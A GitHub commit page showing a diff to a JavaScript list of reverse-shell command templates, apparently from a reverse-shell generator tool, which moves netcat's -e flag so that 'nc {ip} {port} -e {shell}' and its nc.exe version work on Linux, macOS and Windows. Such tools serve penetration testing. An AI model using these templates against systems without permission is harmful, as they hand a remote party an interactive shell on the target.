nc -e parameter must be last :))

as said in usage help of nc
-e PROG	Run PROG after connect (must be last)
This commit is contained in:
Safa Safari 2022-10-09 19:10:11 +03:30 committed by GitHub
parent 339e065ff9
commit fb88a3bb87
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -52,12 +52,12 @@ const reverseShellCommands = withCommandType(
},
{
"name": "nc -e",
"command": "nc -e {shell} {ip} {port}",
"command": "nc {ip} {port} -e {shell}",
"meta": ["linux", "mac"]
},
{
"name": "nc.exe -e",
"command": "nc.exe -e {shell} {ip} {port}",
"command": "nc.exe {ip} {port} -e {shell}",
"meta": ["windows"]
},
{